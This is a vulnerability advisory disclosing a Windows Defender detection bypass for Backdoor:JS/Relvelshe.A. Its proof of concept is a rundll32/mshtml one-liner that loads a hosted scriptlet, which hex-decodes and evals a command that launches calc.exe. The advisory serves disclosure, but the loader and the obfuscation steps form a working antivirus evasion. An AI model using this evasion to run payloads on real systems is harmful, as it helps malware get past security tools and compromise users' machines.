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[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
https://hyp3rlinx.altervista.org/advisories/Windows_Defender_Backdoor_JS.Relvelshe.A_Detection_Mitigation_Bypass.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec



[Vendor]
www.microsoft.com


[Product]
Windows Defender


[Vulnerability Type]
Detection Mitigation Bypass
Backdoor:JS/Relvelshe.A


[CVE Reference]
N/A


[Security Issue]
Back in 2022 I released a PoC to bypass the Backdoor:JS/Relvelshe.A
detection in defender but it no longer works as was mitigated.
However, adding a simple javascript try catch error statement and eval the
hex string it executes as of the time of this post.


[References]
https://twitter.com/hyp3rlinx/status/1480657623947091968


[Exploit/POC]
1) python -m http.server 80

2) Open command prompt as Administrator

3) rundll32
 javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication
,RunHTMLApplication ";document.write();GetObject("script"+":"+"
http://localhost/yo.tmp";)

Create file and host on server, this is contents of the "yo.tmp" file.

<?xml version="1.0"?>
<component>
<script>
try{
<![CDATA[
var hex =
"6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
}catch(e){
eval(str)
}
</script>
</component>


[Network Access]
Local



[Severity]
High


[Disclosure Timeline]
Vendor Notification:
February 18, 2024: Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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• Microsoft Windows Defender / Backdoor:JS/Relvelshe.A / Detection Mitigation Bypass hyp3rlinx (Feb 20)